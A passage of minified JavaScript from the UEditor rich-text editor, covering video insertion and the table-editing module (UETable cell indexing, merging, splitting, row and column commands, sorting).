- '" />'}function a(a,b){p.each(a.getNodesByTagName(b?"img":"embed"),function(a){if("edui-faked-video"==a.getAttr("class")){var c=f(b?a.getAttr("_url"):a.getAttr("src"),a.getAttr("width"),a.getAttr("height"),null,a.getStyle("float")||"",b);a.parentNode.replaceChild(UE.uNode.createElement(c),a)}})}var d=this;d.addOutputRule(function(c){a(c,!0)});d.addInputRule(function(c){a(c)});d.commands.insertvideo={execCommand:function(a,b){b=p.isArray(b)?b:[b];for(var h=[],g=0,k,l=b.length;g<l;g++)k=b[g],h.push(f(k.url,
- k.width||420,k.height||280,"tmpVedio"+g,null,!1));d.execCommand("inserthtml",h.join(""),!0);h=this.selection.getRange();g=0;for(l=b.length;g<l;g++)k=this.document.getElementById("tmpVedio"+g),e.removeAttributes(k,"id"),h.selectNode(k).select(),d.execCommand("imagefloat",b[g].align)},queryCommandState:function(){var a=d.selection.getRange().getClosedNode();return a&&"edui-faked-video"==a.className?1:0}}};(function(){var f=UE.UETable=function(a){this.table=a;this.indexTable=[];this.selectedTds=[];this.cellsRange=
- {};this.update(a)};f.removeSelectedClass=function(a){p.each(a,function(a){e.removeClasses(a,"selectTdClass")})};f.addSelectedClass=function(a){p.each(a,function(a){e.addClass(a,"selectTdClass")})};f.isEmptyBlock=function(a){var d=RegExp(e.fillChar,"g");if(0<a[r.ie?"innerText":"textContent"].replace(/^\s*$/,"").replace(d,"").length)return 0;for(var c in w.$isNotEmpty)if(w.$isNotEmpty.hasOwnProperty(c)&&a.getElementsByTagName(c).length)return 0;return 1};f.getWidth=function(a){return a?parseInt(e.getComputedStyle(a,
- "width"),10):0};f.getTableCellAlignState=function(a){!p.isArray(a)&&(a=[a]);var d={},c=["align","valign"],b=null,e=!0;p.each(a,function(a){p.each(c,function(c){b=a.getAttribute(c);if(!d[c]&&b)d[c]=b;else if(!d[c]||b!==d[c])return e=!1});return e});return e?d:null};f.getTableItemsByRange=function(a){var d=a.selection.getStart();d&&(d.id&&0===d.id.indexOf("_baidu_bookmark_start_"))&&(d=d.nextSibling);var c=(a=d&&e.findParentByTagName(d,["td","th"],!0))&&a.parentNode,d=d&&e.findParentByTagName(d,"caption",
- !0);return{cell:a,tr:c,table:d?d.parentNode:c&&c.parentNode.parentNode,caption:d}};f.getUETableBySelected=function(a){return(a=f.getTableItemsByRange(a).table)&&a.ueTable&&a.ueTable.selectedTds.length?a.ueTable:null};f.getDefaultValue=function(a,d){var c={thin:"0px",medium:"1px",thick:"2px"},b,h,g;if(d)k=d.getElementsByTagName("td")[0],g=e.getComputedStyle(d,"border-left-width"),b=parseInt(c[g]||g,10),g=e.getComputedStyle(k,"padding-left"),h=parseInt(c[g]||g,10),g=e.getComputedStyle(k,"border-left-width"),
- c=parseInt(c[g]||g,10);else{d=a.document.createElement("table");d.insertRow(0).insertCell(0).innerHTML="xxx";a.body.appendChild(d);var k=d.getElementsByTagName("td")[0];g=e.getComputedStyle(d,"border-left-width");b=parseInt(c[g]||g,10);g=e.getComputedStyle(k,"padding-left");h=parseInt(c[g]||g,10);g=e.getComputedStyle(k,"border-left-width");c=parseInt(c[g]||g,10);e.remove(d)}return{tableBorder:b,tdPadding:h,tdBorder:c}};f.getUETable=function(a){var d=a.tagName.toLowerCase();a="td"==d||"th"==d||"caption"==
- d?e.findParentByTagName(a,"table",!0):a;a.ueTable||(a.ueTable=new f(a));return a.ueTable};f.cloneCell=function(a,d,c){if(!a||p.isString(a))return this.table.ownerDocument.createElement(a||"td");var b=e.hasClass(a,"selectTdClass");b&&e.removeClasses(a,"selectTdClass");var h=a.cloneNode(!0);d&&(h.rowSpan=h.colSpan=1);!c&&e.removeAttributes(h,"width height");!c&&e.removeAttributes(h,"style");h.style.borderLeftStyle="";h.style.borderTopStyle="";h.style.borderLeftColor=a.style.borderRightColor;h.style.borderLeftWidth=
- a.style.borderRightWidth;h.style.borderTopColor=a.style.borderBottomColor;h.style.borderTopWidth=a.style.borderBottomWidth;b&&e.addClass(a,"selectTdClass");return h};f.prototype={getMaxRows:function(){for(var a=this.table.rows,d=1,c=0,b;b=a[c];c++){for(var e=1,g=0,k;k=b.cells[g++];)e=Math.max(k.rowSpan||1,e);d=Math.max(e+c,d)}return d},getMaxCols:function(){for(var a=this.table.rows,d=0,c={},b=0,e;e=a[b];b++){for(var g=0,k=0,l;l=e.cells[k++];)if(g+=l.colSpan||1,l.rowSpan&&1<l.rowSpan)for(var f=1;f<
- l.rowSpan;f++)c["row_"+(b+f)]?c["row_"+(b+f)]++:c["row_"+(b+f)]=l.colSpan||1;g+=c["row_"+b]||0;d=Math.max(g,d)}return d},getCellColIndex:function(a){},getHSideCell:function(a,d){try{var c=this.getCellInfo(a),b,e,g=this.selectedTds.length,k=this.cellsRange;if(!d&&(g?!k.beginColIndex:!c.colIndex)||d&&(g?k.endColIndex==this.colsNum-1:c.colIndex==this.colsNum-1))return null;b=g?k.beginRowIndex:c.rowIndex;e=d?g?k.endColIndex+1:c.colIndex+1:g?k.beginColIndex-1:1>c.colIndex?0:c.colIndex-1;return this.getCell(this.indexTable[b][e].rowIndex,
- this.indexTable[b][e].cellIndex)}catch(l){}},getTabNextCell:function(a,d){var c=this.getCellInfo(a),b=d||c.rowIndex,c=c.colIndex+1+(c.colSpan-1),e;try{e=this.getCell(this.indexTable[b][c].rowIndex,this.indexTable[b][c].cellIndex)}catch(g){try{b=1*b+1,c=0,e=this.getCell(this.indexTable[b][c].rowIndex,this.indexTable[b][c].cellIndex)}catch(k){}}return e},getVSideCell:function(a,d,c){try{var b=this.getCellInfo(a),e,g,k=this.selectedTds.length&&!c,l=this.cellsRange;if(!d&&0==b.rowIndex||d&&(k?l.endRowIndex==
- this.rowsNum-1:b.rowIndex+b.rowSpan>this.rowsNum-1))return null;e=d?k?l.endRowIndex+1:b.rowIndex+b.rowSpan:k?l.beginRowIndex-1:b.rowIndex-1;g=k?l.beginColIndex:b.colIndex;return this.getCell(this.indexTable[e][g].rowIndex,this.indexTable[e][g].cellIndex)}catch(f){}},getSameEndPosCells:function(a,d){try{for(var c="x"===d.toLowerCase(),b=e.getXY(a)[c?"x":"y"]+a["offset"+(c?"Width":"Height")],f=this.table.rows,g=null,k=[],l=0;l<this.rowsNum;l++)for(var g=f[l].cells,n=0,m;m=g[n++];){var s=e.getXY(m)[c?
- "x":"y"]+m["offset"+(c?"Width":"Height")];if(s>b&&c)break;if(a==m||b==s)if(1==m[c?"colSpan":"rowSpan"]&&k.push(m),c)break}return k}catch(t){}},setCellContent:function(a,d){a.innerHTML=d||(r.ie?e.fillChar:"<br />")},cloneCell:f.cloneCell,getSameStartPosXCells:function(a){try{var d=e.getXY(a).x+a.offsetWidth,c=this.table.rows,b;a=[];for(var f=0;f<this.rowsNum;f++){b=c[f].cells;for(var g=0,k;k=b[g++];){var l=e.getXY(k).x;if(l>d)break;if(l==d&&1==k.colSpan){a.push(k);break}}}return a}catch(n){}},update:function(a){this.table=
- a||this.table;this.selectedTds=[];this.cellsRange={};this.indexTable=[];a=this.table.rows;for(var d=this.getMaxRows(),c=d-a.length,b=this.getMaxCols();c--;)this.table.insertRow(a.length);this.rowsNum=d;this.colsNum=b;for(var c=0,f=a.length;c<f;c++)this.indexTable[c]=Array(b);for(var c=0,g;g=a[c];c++){var f=0,k;for(g=g.cells;k=g[f];f++){k.rowSpan>d&&(k.rowSpan=d);var l=f,n=k.rowSpan||1;for(k=k.colSpan||1;this.indexTable[c][l];)l++;for(var m=0;m<n;m++)for(var s=0;s<k;s++)this.indexTable[c+m][l+s]={rowIndex:c,
- cellIndex:f,colIndex:l,rowSpan:n,colSpan:k}}}for(m=0;m<d;m++)for(s=0;s<b;s++)void 0===this.indexTable[m][s]&&(g=a[m],k=(k=g.cells[g.cells.length-1])?k.cloneNode(!0):this.table.ownerDocument.createElement("td"),this.setCellContent(k),1!==k.colSpan&&(k.colSpan=1),1!==k.rowSpan&&(k.rowSpan=1),g.appendChild(k),this.indexTable[m][s]={rowIndex:m,cellIndex:k.cellIndex,colIndex:s,rowSpan:1,colSpan:1});a=e.getElementsByTagName(this.table,"td");var t=[];p.each(a,function(a){e.hasClass(a,"selectTdClass")&&t.push(a)});
- t.length&&(d=t[t.length-1],a=this.getCellInfo(t[0]),d=this.getCellInfo(d),this.selectedTds=t,this.cellsRange={beginRowIndex:a.rowIndex,beginColIndex:a.colIndex,endRowIndex:d.rowIndex+d.rowSpan-1,endColIndex:d.colIndex+d.colSpan-1})},getCellInfo:function(a){if(a){var d=a.cellIndex;a=a.parentNode.rowIndex;for(var c=this.indexTable[a],b=this.colsNum,e=d;e<b;e++){var g=c[e];if(g.rowIndex===a&&g.cellIndex===d)return g}}},getCell:function(a,d){return a<this.rowsNum&&this.table.rows[a].cells[d]||null},deleteCell:function(a,
- d){d="number"==typeof d?d:a.parentNode.rowIndex;this.table.rows[d].deleteCell(a.cellIndex)},getCellsRange:function(a,d){function c(a,g,d,e){var l=a,k=g,f=d,h=e,m,n,s;if(0<a)for(n=g;n<e;n++)m=b.indexTable[a][n],s=m.rowIndex,s<a&&(l=Math.min(s,l));if(e<b.colsNum)for(s=a;s<d;s++)m=b.indexTable[s][e],n=m.colIndex+m.colSpan-1,n>e&&(h=Math.max(n,h));if(d<b.rowsNum)for(n=g;n<e;n++)m=b.indexTable[d][n],s=m.rowIndex+m.rowSpan-1,s>d&&(f=Math.max(s,f));if(0<g)for(s=a;s<d;s++)m=b.indexTable[s][g],n=m.colIndex,
- n<g&&(k=Math.min(m.colIndex,k));return l!=a||k!=g||f!=d||h!=e?c(l,k,f,h):{beginRowIndex:a,beginColIndex:g,endRowIndex:d,endColIndex:e}}try{var b=this,e=b.getCellInfo(a);if(a===d)return{beginRowIndex:e.rowIndex,beginColIndex:e.colIndex,endRowIndex:e.rowIndex+e.rowSpan-1,endColIndex:e.colIndex+e.colSpan-1};var g=b.getCellInfo(d),k=Math.min(e.rowIndex,g.rowIndex),l=Math.min(e.colIndex,g.colIndex),f=Math.max(e.rowIndex+e.rowSpan-1,g.rowIndex+g.rowSpan-1),m=Math.max(e.colIndex+e.colSpan-1,g.colIndex+g.colSpan-
- 1);return c(k,l,f,m)}catch(s){}},getCells:function(a){this.clearSelected();for(var d=a.beginColIndex,c=a.endRowIndex,b=a.endColIndex,e,g,k={},l=[],f=a.beginRowIndex;f<=c;f++)for(var m=d;m<=b;m++){a=this.indexTable[f][m];e=a.rowIndex;g=a.colIndex;var s=e+"|"+g;if(!k[s]){k[s]=1;if(e<f||g<m||e+a.rowSpan-1>c||g+a.colSpan-1>b)return null;l.push(this.getCell(e,a.cellIndex))}}return l},clearSelected:function(){f.removeSelectedClass(this.selectedTds);this.selectedTds=[];this.cellsRange={}},setSelected:function(a){var d=
- this.getCells(a);f.addSelectedClass(d);this.selectedTds=d;this.cellsRange=a},isFullRow:function(){var a=this.cellsRange;return a.endColIndex-a.beginColIndex+1==this.colsNum},isFullCol:function(){var a=this.cellsRange,d=this.table.getElementsByTagName("th"),a=a.endRowIndex-a.beginRowIndex+1;return d.length?a==this.rowsNum||a==this.rowsNum-1:a==this.rowsNum},getNextCell:function(a,d,c){try{var b=this.getCellInfo(a),e,g,k=this.selectedTds.length&&!c,l=this.cellsRange;if(!d&&0==b.rowIndex||d&&(k?l.endRowIndex==
- this.rowsNum-1:b.rowIndex+b.rowSpan>this.rowsNum-1))return null;e=d?k?l.endRowIndex+1:b.rowIndex+b.rowSpan:k?l.beginRowIndex-1:b.rowIndex-1;g=k?l.beginColIndex:b.colIndex;return this.getCell(this.indexTable[e][g].rowIndex,this.indexTable[e][g].cellIndex)}catch(f){}},getPreviewCell:function(a,d){try{var c=this.getCellInfo(a),b,e,g=this.selectedTds.length,k=this.cellsRange;if(!d&&(g?!k.beginColIndex:!c.colIndex)||d&&(g?k.endColIndex==this.colsNum-1:c.rowIndex>this.colsNum-1))return null;b=d?g?k.beginRowIndex:
- 1>c.rowIndex?0:c.rowIndex-1:g?k.beginRowIndex:c.rowIndex;e=d?g?k.endColIndex+1:c.colIndex:g?k.beginColIndex-1:1>c.colIndex?0:c.colIndex-1;return this.getCell(this.indexTable[b][e].rowIndex,this.indexTable[b][e].cellIndex)}catch(l){}},moveContent:function(a,d){if(!f.isEmptyBlock(d))if(f.isEmptyBlock(a))a.innerHTML=d.innerHTML;else{var c=a.lastChild;for(3!=c.nodeType&&w.$block[c.tagName]||a.appendChild(a.ownerDocument.createElement("br"));c=d.firstChild;)a.appendChild(c)}},mergeRight:function(a){var d=
- this.getCellInfo(a),c=this.indexTable[d.rowIndex][d.colIndex+d.colSpan],b=this.getCell(c.rowIndex,c.cellIndex);a.colSpan=d.colSpan+c.colSpan;a.removeAttribute("width");this.moveContent(a,b);this.deleteCell(b,c.rowIndex);this.update()},mergeDown:function(a){var d=this.getCellInfo(a),c=this.indexTable[d.rowIndex+d.rowSpan][d.colIndex],b=this.getCell(c.rowIndex,c.cellIndex);a.rowSpan=d.rowSpan+c.rowSpan;a.removeAttribute("height");this.moveContent(a,b);this.deleteCell(b,c.rowIndex);this.update()},mergeRange:function(){var a=
- this.cellsRange,d=this.getCell(a.beginRowIndex,this.indexTable[a.beginRowIndex][a.beginColIndex].cellIndex);if("TH"==d.tagName&&a.endRowIndex!==a.beginRowIndex)var c=this.indexTable,a=this.getCellInfo(d),d=this.getCell(1,c[1][a.colIndex].cellIndex),a=this.getCellsRange(d,this.getCell(c[this.rowsNum-1][a.colIndex].rowIndex,c[this.rowsNum-1][a.colIndex].cellIndex));for(var b=this.getCells(a),c=0,e;e=b[c++];)e!==d&&(this.moveContent(d,e),this.deleteCell(e));d.rowSpan=a.endRowIndex-a.beginRowIndex+1;
- 1<d.rowSpan&&d.removeAttribute("height");d.colSpan=a.endColIndex-a.beginColIndex+1;1<d.colSpan&&d.removeAttribute("width");d.rowSpan==this.rowsNum&&1!=d.colSpan&&(d.colSpan=1);if(d.colSpan==this.colsNum&&1!=d.rowSpan){b=d.parentNode.rowIndex;if(this.table.deleteRow)for(c=b+1,b+=1,a=d.rowSpan;c<a;c++)this.table.deleteRow(b);else for(c=0,a=d.rowSpan-1;c<a;c++)e=this.table.rows[b+1],e.parentNode.removeChild(e);d.rowSpan=1}this.update()},insertRow:function(a,d){var c=this.colsNum,b=this.table,e=b.insertRow(a);
- parseInt((b.offsetWidth-20*c-c-1)/c,10);if(0==a||a==this.rowsNum)for(var g=0;g<c;g++)b=this.cloneCell(d,!0),this.setCellContent(b),b.getAttribute("vAlign")&&b.setAttribute("vAlign",b.getAttribute("vAlign")),e.appendChild(b);else for(var k=this.indexTable[a],g=0;g<c;g++){var l=k[g];l.rowIndex<a?(b=this.getCell(l.rowIndex,l.cellIndex),b.rowSpan=l.rowSpan+1):(b=this.cloneCell(d,!0),this.setCellContent(b),e.appendChild(b))}this.update();return e},deleteRow:function(a){for(var d=this.table.rows[a],c=this.indexTable[a],
- b=this.colsNum,f=0,g=0;g<b;){var k=c[g],l=this.getCell(k.rowIndex,k.cellIndex);if(1<l.rowSpan&&k.rowIndex==a){k=l.cloneNode(!0);k.rowSpan=l.rowSpan-1;k.innerHTML="";l.rowSpan=1;var n=a+1,m=this.table.rows[n],n=this.getPreviewMergedCellsNum(n,g)-f;n<g?(n=g-n-1,e.insertAfter(m.cells[n],k)):m.cells.length&&m.insertBefore(k,m.cells[0]);f+=1}g+=l.colSpan||1}a=[];f={};for(g=0;g<b;g++)l=c[g].rowIndex,k=c[g].cellIndex,m=l+"_"+k,f[m]||(f[m]=1,l=this.getCell(l,k),a.push(l));var s=[];p.each(a,function(a){1==
- a.rowSpan?a.parentNode.removeChild(a):s.push(a)});p.each(s,function(a){a.rowSpan--});d.parentNode.removeChild(d);this.update()},insertCol:function(a,d,c){function b(a,b,c){0==a?(a=b.nextSibling||b.previousSibling,"TH"==a.tagName&&(a=b.ownerDocument.createElement("th"),a.appendChild(b.firstChild),c.insertBefore(a,b),e.remove(b))):"TH"==b.tagName&&(a=b.ownerDocument.createElement("td"),a.appendChild(b.firstChild),c.insertBefore(a,b),e.remove(b))}var f=this.rowsNum,g=0,k,l,n=parseInt((this.table.offsetWidth-
- 20*(this.colsNum+1)-(this.colsNum+1))/(this.colsNum+1),10),m;if(0==a||a==this.colsNum)for(;g<f;g++)k=this.table.rows[g],m=k.cells[0==a?a:k.cells.length],l=this.cloneCell(d,!0),this.setCellContent(l),l.setAttribute("vAlign",l.getAttribute("vAlign")),m&&l.setAttribute("width",m.getAttribute("width")),a?e.insertAfter(k.cells[k.cells.length-1],l):k.insertBefore(l,k.cells[0]),b(g,l,k);else for(;g<f;g++)m=this.indexTable[g][a],m.colIndex<a?(l=this.getCell(m.rowIndex,m.cellIndex),l.colSpan=m.colSpan+1):
- (k=this.table.rows[g],m=k.cells[m.cellIndex],l=this.cloneCell(d,!0),this.setCellContent(l),l.setAttribute("vAlign",l.getAttribute("vAlign")),m&&l.setAttribute("width",m.getAttribute("width")),m?k.insertBefore(l,m):k.appendChild(l)),b(g,l,k);this.update();this.updateWidth(n,c||{tdPadding:10,tdBorder:1})},updateWidth:function(a,d){var c=this.table,b=f.getWidth(c)-2*d.tdPadding-d.tdBorder+a;b<c.ownerDocument.body.offsetWidth?c.setAttribute("width",b):(c=e.getElementsByTagName(this.table,"td"),p.each(c,
- function(b){b.setAttribute("width",a)}))},deleteCol:function(a){for(var d=this.indexTable,c=this.table.rows,b=this.table.getAttribute("width"),e=0,g=this.rowsNum,k={},l=0;l<g;){var f=d[l][a],m=f.rowIndex+"_"+f.colIndex;k[m]||(k[m]=1,m=this.getCell(f.rowIndex,f.cellIndex),e||(e=m&&parseInt(m.offsetWidth/m.colSpan,10).toFixed(0)),1<m.colSpan?m.colSpan--:c[l].deleteCell(f.cellIndex),l+=f.rowSpan||1)}this.table.setAttribute("width",b-e);this.update()},splitToCells:function(a){var d=this;a=this.splitToRows(a);
- p.each(a,function(a){d.splitToCols(a)})},splitToRows:function(a){var d=this.getCellInfo(a),c=d.rowIndex,b=d.colIndex,e=[];a.rowSpan=1;e.push(a);for(var g=c,k=c+d.rowSpan;g<k;g++)if(g!=c){var l=this.table.rows[g].insertCell(b-this.getPreviewMergedCellsNum(g,b));l.colSpan=d.colSpan;this.setCellContent(l);l.setAttribute("vAlign",a.getAttribute("vAlign"));l.setAttribute("align",a.getAttribute("align"));a.style.cssText&&(l.style.cssText=a.style.cssText);e.push(l)}this.update();return e},getPreviewMergedCellsNum:function(a,
- d){for(var c=this.indexTable[a],b=0,e=0;e<d;)var g=c[e].colSpan,b=b+(g-(c[e].rowIndex==a?1:0)),e=e+g;return b},splitToCols:function(a){var d=(a.offsetWidth/a.colSpan-22).toFixed(0),c=this.getCellInfo(a),b=c.rowIndex,f=c.colIndex,g=[];a.colSpan=1;a.setAttribute("width",d);g.push(a);for(var k=f,l=f+c.colSpan;k<l;k++)if(k!=f){var n=this.table.rows[b],m=n.insertCell(this.indexTable[b][k].cellIndex+1);m.rowSpan=c.rowSpan;this.setCellContent(m);m.setAttribute("vAlign",a.getAttribute("vAlign"));m.setAttribute("align",
- a.getAttribute("align"));m.setAttribute("width",d);a.style.cssText&&(m.style.cssText=a.style.cssText);if("TH"==a.tagName){var s=a.ownerDocument.createElement("th");s.appendChild(m.firstChild);s.setAttribute("vAlign",a.getAttribute("vAlign"));s.rowSpan=m.rowSpan;n.insertBefore(s,m);e.remove(m)}g.push(m)}this.update();return g},isLastCell:function(a,d,c){d=d||this.rowsNum;c=c||this.colsNum;a=this.getCellInfo(a);return a.rowIndex+a.rowSpan==d&&a.colIndex+a.colSpan==c},getLastCell:function(a){a=a||this.table.getElementsByTagName("td");
- this.getCellInfo(a[0]);var d=this,c=a[0],b=c.parentNode,e=0,g=0,k;p.each(a,function(a){a.parentNode==b&&(g+=a.colSpan||1);e+=a.rowSpan*a.colSpan||1});k=e/g;p.each(a,function(a){if(d.isLastCell(a,k,g))return c=a,!1});return c},selectRow:function(a){var d=this.indexTable[a];a=this.getCell(d[0].rowIndex,d[0].cellIndex);d=this.getCell(d[this.colsNum-1].rowIndex,d[this.colsNum-1].cellIndex);a=this.getCellsRange(a,d);this.setSelected(a)},selectTable:function(){var a=this.table.getElementsByTagName("td"),
- a=this.getCellsRange(a[0],a[a.length-1]);this.setSelected(a)},sortTable:function(a,d){var c=this.table,b=c.rows,e=[],g="TH"===b[0].cells[0].tagName,k=0;if(this.selectedTds.length){for(var l=this.cellsRange,f=l.endRowIndex+1,m=l.beginRowIndex;m<f;m++)e[m]=b[m];e.splice(0,l.beginRowIndex);k=l.endRowIndex+1===this.rowsNum?0:l.endRowIndex+1}else for(m=0,f=b.length;m<f;m++)e[m]=b[m];g&&e.splice(0,1);e=p.sort(e,function(b,c){return d?"number"===typeof d?d:d.call(this,b.cells[a],c.cells[a]):(b.cells[a].innerText||
- b.cells[a].textContent).localeCompare(c.cells[a].innerText||c.cells[a].textContent)});g=c.ownerDocument.createDocumentFragment();m=0;for(f=e.length;m<f;m++)g.appendChild(e[m]);c=c.getElementsByTagName("tbody")[0];k?c.insertBefore(g,b[k-l.endRowIndex+l.beginRowIndex-1]):c.appendChild(g)},setBackground:function(a,e){if("string"===typeof e)p.each(a,function(a){a.style.backgroundColor=e});else if("object"===typeof e){e=p.extend({repeat:!0,colorList:["#ddd","#fff"]},e);for(var c=this.getCellInfo(a[0]).rowIndex,
- b=0,f=e.colorList,g=function(a,b,c){return a[b]?a[b]:c?a[b%a.length]:""},k=0,l;l=a[k++];){var n=this.getCellInfo(l);l.style.backgroundColor=g(f,c+b==n.rowIndex?b:++b,e.repeat)}}},removeBackground:function(a){p.each(a,function(a){a.style.backgroundColor=""})}}})();(function(){function f(b,e){var d=b.getElementsByTagName("td");p.each(d,function(a){a.removeAttribute("width")});b.setAttribute("width",a(e,!0,c.getDefaultValue(e,b)));setTimeout(function(){p.each(d,function(a){1==a.colSpan&&a.setAttribute("width",
- a.offsetWidth+"")})},0)}function a(a,b,c){var d=a.body;return d.offsetWidth-(b?2*parseInt(e.getComputedStyle(d,"margin-left"),10):0)-2*c.tableBorder-(a.options.offsetWidth||0)}function d(a){if(a=b(a).cell){var c=h(a);return c.selectedTds.length?c.selectedTds:[a]}return[]}var c=UE.UETable,b=function(a){return c.getTableItemsByRange(a)},h=function(a){return c.getUETable(a)};UE.commands.inserttable={queryCommandState:function(){return b(this).table?-1:0},execCommand:function(a,b){b||(b=p.extend({},{numCols:this.options.defaultCols,
- numRows:this.options.defaultRows,tdvalign:this.options.tdvalign}));var d=this.selection.getRange().startContainer,d=e.findParent(d,function(a){return e.isBlockElm(a)},!0)||this.body,f=c.getDefaultValue(this,void 0),d=Math.floor(d.offsetWidth/b.numCols-2*f.tdPadding-f.tdBorder);!b.tdvalign&&(b.tdvalign=this.options.tdvalign);this.execCommand("inserthtml",function(a,b){for(var c=[],g=a.numRows,d=a.numCols,l=0;l<g;l++){c.push("<tr>");for(var f=0;f<d;f++)c.push('<td width="'+b+'" vAlign="'+a.tdvalign+
- '" >'+(r.ie?e.fillChar:"<br/>")+"</td>");c.push("</tr>")}return"<table><tbody>"+c.join("")+"</tbody></table>"}(b,d))}};UE.commands.insertparagraphbeforetable={queryCommandState:function(){return b(this).cell?0:-1},execCommand:function(){var a=b(this).table;if(a){var c=this.document.createElement("p");c.innerHTML=r.ie?" ":"<br />";a.parentNode.insertBefore(c,a);this.selection.getRange().setStart(c,0).setCursor()}}};UE.commands.deletetable={queryCommandState:function(){var a=this.selection.getRange();
- return e.findParentByTagName(a.startContainer,"table",!0)?0:-1},execCommand:function(a,b){var c=this.selection.getRange();if(b=b||e.findParentByTagName(c.startContainer,"table",!0)){var d=b.nextSibling;d||(d=e.createElement(this.document,"p",{innerHTML:r.ie?e.fillChar:"<br/>"}),b.parentNode.insertBefore(d,b));e.remove(b);c=this.selection.getRange();3==d.nodeType?c.setStartBefore(d):c.setStart(d,0);c.setCursor(!1,!0);this.fireEvent("tablehasdeleted")}}};UE.commands.cellalign={queryCommandState:function(){return d(this).length?
- 0:-1},execCommand:function(a,b){var c=d(this);if(c.length)for(var e=0,f;f=c[e++];)f.setAttribute("align",b)}};UE.commands.cellvalign={queryCommandState:function(){return d(this).length?0:-1},execCommand:function(a,b){var c=d(this);if(c.length)for(var e=0,f;f=c[e++];)f.setAttribute("vAlign",b)}};UE.commands.insertcaption={queryCommandState:function(){var a=b(this).table;return a?0==a.getElementsByTagName("caption").length?1:-1:-1},execCommand:function(){var a=b(this).table;if(a){var c=this.document.createElement("caption");
- c.innerHTML=r.ie?e.fillChar:"<br/>";a.insertBefore(c,a.firstChild);this.selection.getRange().setStart(c,0).setCursor()}}};UE.commands.deletecaption={queryCommandState:function(){var a=this.selection.getRange();return(a=e.findParentByTagName(a.startContainer,"table"))?0==a.getElementsByTagName("caption").length?-1:1:-1},execCommand:function(){var a=this.selection.getRange();if(a=e.findParentByTagName(a.startContainer,"table"))e.remove(a.getElementsByTagName("caption")[0]),this.selection.getRange().setStart(a.rows[0].cells[0],
- 0).setCursor()}};UE.commands.inserttitle={queryCommandState:function(){var a=b(this).table;return a?0==a.rows[0].getElementsByTagName("th").length?0:-1:-1},execCommand:function(){var a=b(this).table;a&&h(a).insertRow(0,"th");a=a.getElementsByTagName("th")[0];this.selection.getRange().setStart(a,0).setCursor(!1,!0)}};UE.commands.deletetitle={queryCommandState:function(){var a=b(this).table;return a?a.rows[0].getElementsByTagName("th").length?0:-1:-1},execCommand:function(){var a=b(this).table;a&&e.remove(a.rows[0]);
- a=a.getElementsByTagName("td")[0];this.selection.getRange().setStart(a,0).setCursor(!1,!0)}};UE.commands.mergeright={queryCommandState:function(a){var c=b(this);if(!c.cell)return-1;a=h(c.table);if(a.selectedTds.length)return-1;var c=a.getCellInfo(c.cell),e=c.colIndex+c.colSpan;if(e>=a.colsNum)return-1;a=a.indexTable[c.rowIndex][e];return a.rowIndex==c.rowIndex&&a.rowSpan==c.rowSpan?0:-1},execCommand:function(a){a=this.selection.getRange();var c=a.createBookmark(!0),e=b(this).cell;h(e).mergeRight(e);
- a.moveToBookmark(c).select()}};UE.commands.mergedown={queryCommandState:function(a){a=b(this);var c=a.cell;if(!c||"TH"==c.tagName)return-1;var e=h(a.table);if(e.selectedTds.length)return-1;var c=e.getCellInfo(a.cell),d=c.rowIndex+c.rowSpan;if(d>=e.rowsNum)return-1;e=e.indexTable[d][c.colIndex];return e.colIndex==c.colIndex&&e.colSpan==c.colSpan&&"TH"!==a.cell.tagName?0:-1},execCommand:function(){var a=this.selection.getRange(),c=a.createBookmark(!0),e=b(this).cell;h(e).mergeDown(e);a.moveToBookmark(c).select()}};
- UE.commands.mergecells={queryCommandState:function(){return c.getUETableBySelected(this)?0:-1},execCommand:function(){var a=c.getUETableBySelected(this);if(a&&a.selectedTds.length){var b=a.selectedTds[0];a.mergeRange();a=this.selection.getRange();e.isEmptyBlock(b)?a.setStart(b,0).collapse(!0):a.selectNodeContents(b);a.select()}}};UE.commands.insertrow={queryCommandState:function(){var a=b(this),c=a.cell;return c&&"TD"==c.tagName&&h(a.table).rowsNum<this.options.maxRowNum?0:-1},execCommand:function(){var a=
- this.selection.getRange(),c=a.createBookmark(!0),e=b(this),d=e.cell,e=e.table,f=h(e),s=f.getCellInfo(d);if(f.selectedTds.length)for(var s=f.cellsRange,t=0,u=s.endRowIndex-s.beginRowIndex+1;t<u;t++)f.insertRow(s.beginRowIndex,d);else f.insertRow(s.rowIndex,d);a.moveToBookmark(c).select();"enabled"===e.getAttribute("interlaced")&&this.fireEvent("interlacetable",e)}};UE.commands.insertrownext={queryCommandState:function(){var a=b(this),c=a.cell;return c&&"TD"==c.tagName&&h(a.table).rowsNum<this.options.maxRowNum?
- 0:-1},execCommand:function(){var a=this.selection.getRange(),c=a.createBookmark(!0),e=b(this),d=e.cell,e=e.table,f=h(e),s=f.getCellInfo(d);if(f.selectedTds.length)for(var s=f.cellsRange,t=0,u=s.endRowIndex-s.beginRowIndex+1;t<u;t++)f.insertRow(s.endRowIndex+1,d);else f.insertRow(s.rowIndex+s.rowSpan,d);a.moveToBookmark(c).select();"enabled"===e.getAttribute("interlaced")&&this.fireEvent("interlacetable",e)}};UE.commands.deleterow={queryCommandState:function(){if(!b(this).cell)return-1},execCommand:function(){var a=
- b(this).cell,c=h(a),d=c.cellsRange,f=c.getCellInfo(a),m=c.getVSideCell(a),s=c.getVSideCell(a,!0),a=this.selection.getRange();if(p.isEmptyObject(d))c.deleteRow(f.rowIndex);else for(var t=d.beginRowIndex;t<d.endRowIndex+1;t++)c.deleteRow(d.beginRowIndex);t=c.table;t.getElementsByTagName("td").length?1==f.rowSpan||f.rowSpan==d.endRowIndex-d.beginRowIndex+1?(s||m)&&a.selectNodeContents(s||m).setCursor(!1,!0):(c=c.getCell(f.rowIndex,c.indexTable[f.rowIndex][f.colIndex].cellIndex))&&a.selectNodeContents(c).setCursor(!1,
- !0):(c=t.nextSibling,e.remove(t),c&&a.setStart(c,0).setCursor(!1,!0));"enabled"===t.getAttribute("interlaced")&&this.fireEvent("interlacetable",t)}};UE.commands.insertcol={queryCommandState:function(a){a=b(this);var c=a.cell;return c&&("TD"==c.tagName||"TH"==c.tagName)&&h(a.table).colsNum<this.options.maxColNum?0:-1},execCommand:function(a){var c=this.selection.getRange(),e=c.createBookmark(!0);if(-1!=this.queryCommandState(a)){a=b(this).cell;var d=h(a),f=d.getCellInfo(a);if(d.selectedTds.length)for(var f=
